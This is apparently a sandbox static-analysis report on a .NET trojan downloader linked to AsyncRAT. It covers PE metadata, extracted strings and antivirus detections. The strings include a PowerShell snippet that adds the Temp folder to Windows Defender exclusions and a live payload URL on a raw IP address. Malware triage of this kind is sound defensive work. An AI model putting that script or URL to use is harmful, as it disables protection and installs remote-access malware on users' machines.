Static | ZeroBOX

PE Compile Time

2046-01-21 03:50:59

PDB Path

C:\Users\Administrator\source\repos\ConsoleApp76\ConsoleApp76\obj\Release\ConsoleApp76.pdb

PE Imphash

f34d5f2d4577ed6d9ceec516c1f5a744

Sections

Name Virtual Address Virtual Size Size of Raw Data Entropy
.text 0x00002000 0x00001438 0x00001600 5.3272794982
.rsrc 0x00004000 0x000005cc 0x00000600 4.12336257703
.reloc 0x00006000 0x0000000c 0x00000200 0.0776331623432

Resources

Name Offset Size Language Sub-language File type
RT_VERSION 0x00004090 0x0000033c LANG_NEUTRAL SUBLANG_NEUTRAL data
RT_MANIFEST 0x000043dc 0x000001ea LANG_NEUTRAL SUBLANG_NEUTRAL XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

Library mscoree.dll:
0x402000 _CorExeMain

!This program cannot be run in DOS mode.
`.rsrc
@.reloc
v4.0.30319
#Strings
get_String1
ConsoleApp76
<Module>
System.IO
DownloadData
mscorlib
set_Verb
Thread
get_Unicode
RuntimeTypeHandle
GetTypeFromHandle
IsInRole
WindowsBuiltInRole
get_MainModule
ProcessModule
set_WindowStyle
ProcessWindowStyle
get_FileName
set_FileName
GetRandomFileName
Combine
get_Culture
set_Culture
resourceCulture
EditorBrowsableState
CompilerGeneratedAttribute
GuidAttribute
GeneratedCodeAttribute
DebuggerNonUserCodeAttribute
DebuggableAttribute
EditorBrowsableAttribute
ComVisibleAttribute
AssemblyTitleAttribute
AssemblyTrademarkAttribute
TargetFrameworkAttribute
AssemblyFileVersionAttribute
AssemblyConfigurationAttribute
AssemblyDescriptionAttribute
CompilationRelaxationsAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyCompanyAttribute
RuntimeCompatibilityAttribute
set_UseShellExecute
ConsoleApp76.exe
System.Threading
Encoding
System.Runtime.Versioning
ToBase64String
GetString
GetTempPath
System.Security.Principal
WindowsPrincipal
System.ComponentModel
Program
System
resourceMan
IsAdmin
System.Globalization
System.Reflection
CultureInfo
set_StartInfo
ProcessStartInfo
get_ResourceManager
System.CodeDom.Compiler
Computer
System.Diagnostics
System.Runtime.InteropServices
System.Runtime.CompilerServices
System.Resources
ConsoleApp76.Properties.Resources.resources
DebuggingModes
ConsoleApp76.Properties
WriteAllBytes
GetBytes
GetCurrentProcess
set_Arguments
Concat
Object
System.Net
WaitForExit
WebClient
GetCurrent
Convert
System.Text
set_CreateNoWindow
get_Assembly
WindowsIdentity
WrapNonExceptionThrows
ConsoleApp76
Copyright
2024
$754935d5-9c13-44cf-bb5a-8a46e32a19fa
1.0.0.0
.NETFramework,Version=v4.8
FrameworkDisplayName
.NET Framework 4.8A
3System.Resources.Tools.StronglyTypedResourceBuilder
17.0.0.0
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADPa
$excludePath = "$env:LOCALAPPDATA\Temp"
$currentExclusions = Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
if ($currentExclusions -notcontains $excludePath) {
Add-MpPreference -ExclusionPath $excludePath
Write-Host "
$excludePath
Windows Defender."
} else {
Write-Host "
$excludePath
Windows Defender."
C:\Users\Administrator\source\repos\ConsoleApp76\ConsoleApp76\obj\Release\ConsoleApp76.pdb
_CorExeMain
mscoree.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
/k START "" "
" & EXIT
http://147.45.44.131/files/ponos.exe
powershell
ConsoleApp76.Properties.Resources
String1
String1
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
CompanyName
FileDescription
ConsoleApp76
FileVersion
1.0.0.0
InternalName
ConsoleApp76.exe
LegalCopyright
Copyright
2024
LegalTrademarks
OriginalFilename
ConsoleApp76.exe
ProductName
ConsoleApp76
ProductVersion
1.0.0.0
Assembly Version
1.0.0.0
Antivirus Signature
Bkav W32.AIDetectMalware.CS
Lionic Trojan.Win32.AsyncRAT.a!c
Elastic malicious (moderate confidence)
ClamAV Clean
CMC Clean
CAT-QuickHeal TrojanDownloader.MSIL
Skyhigh Artemis!Trojan
ALYac Clean
Cylance Unsafe
Zillya Clean
Sangfor Downloader.Msil.Psdownload.V9es
CrowdStrike win/malicious_confidence_70% (D)
Alibaba TrojanDownloader:MSIL/PsDownload.1d1e9651
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Clean
Paloalto generic.ml
Symantec MSIL.Downloader!gen6
tehtris Clean
ESET-NOD32 a variant of Generik.EEEJOI
APEX Clean
Avast Win32:MalwareX-gen [Trj]
Cynet Clean
Kaspersky HEUR:Trojan-Downloader.MSIL.PsDownload.gen
BitDefender Gen:Variant.Tedy.643207
NANO-Antivirus Clean
ViRobot Clean
MicroWorld-eScan Gen:Variant.Tedy.643207
Tencent Clean
Sophos Mal/Generic-S
F-Secure Clean
DrWeb Trojan.DownLoader47.38394
VIPRE Clean
TrendMicro Backdoor.Win32.ASYNCRAT.YXEIPZ
McAfeeD Real Protect-LS!290A51A1F510
Trapmine Clean
CTX exe.trojan.msil
Emsisoft Gen:Variant.Tedy.643207 (B)
huorong Clean
FireEye Gen:Variant.Tedy.643207
Jiangmin Clean
Webroot W32.Trojan.Gen
Varist W32/ABTrojan.EAFH-5477
Avira Clean
Fortinet PossibleThreat.MU
Antiy-AVL Trojan[Downloader]/MSIL.PsDownload
Kingsoft Win32.Troj.Unknown.a
Gridinsoft Trojan.Win32.AsyncRAT.tr
Xcitium Clean
Arcabit Trojan.Tedy.D9D087
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Trojan-Downloader.MSIL.PsDownload.gen
Microsoft TrojanDownloader:MSIL/AsyncRat.CCIF!MTB
Google Detected
AhnLab-V3 Malware/Win.Generic.C5670865
Acronis Clean
McAfee Artemis!290A51A1F510
TACHYON Clean
VBA32 Clean
Malwarebytes Generic.Malware/Suspicious
Panda Trj/Chgt.AD
Zoner Clean
TrendMicro-HouseCall Backdoor.Win32.ASYNCRAT.YXEIPZ
Rising Malware.Obfus/MSIL@AI.85 (RDM.MSIL2:xRtmAIOF7heohKv9oqW87w)
Yandex Clean
Ikarus Trojan-Downloader.Win32.Generic
MaxSecure Trojan.Malware.300983.susgen
GData Win32.Trojan-Downloader.Generic.5P40OX
AVG Win32:MalwareX-gen [Trj]
DeepInstinct MALICIOUS
alibabacloud Trojan[downloader]:MSIL/AsyncRat.CWE93DGW
No IRMA results available.